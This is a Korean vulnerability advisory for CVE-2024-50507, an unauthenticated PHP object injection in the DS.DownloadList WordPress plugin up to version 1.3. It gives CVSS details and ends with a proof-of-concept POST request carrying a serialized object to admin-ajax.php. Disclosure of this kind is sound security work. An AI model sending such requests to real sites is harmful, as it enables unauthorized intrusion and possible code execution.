CVE-2024-50507

DS.DownloadList <= 1.3 - 인증되지 않은 PHP 객체 인젝션

설명

WordPress용 DS.DownloadList 플러그인은 버전 1.3까지 (포함) 모든 버전에서 신뢰할 수 없는 입력의 역직렬화를 통해 PHP 객체 인젝션에 취약합니다. 이로 인해 인증되지 않은 공격자가 PHP 객체를 주입할 수 있습니다. 취약한 소프트웨어에는 알려진 POP 체인이 존재하지 않습니다. 대상 시스템에 설치된 추가 플러그인이나 테마를 통해 POP 체인이 존재하는 경우, 공격자가 임의 파일을 삭제하거나, 민감한 데이터를 검색하거나, 코드를 실행할 수 있습니다.

세부 정보

• 유형: 플러그인
• 슬러그: dsdownloadlist
• 영향 받는 버전: 1.3
• CVSS 점수: 8.1
• CVSS 등급: 높음
• CVSS 벡터: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
• CVE: CVE-2024-50507
• 상태: 종료됨

POC

POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/x-www-form-urlencoded
Content-Length: 61

action=dsdl&atts=TzoyMDoiUEhQX09iamVjdF9JbmplY3Rpb24iOjA6e30=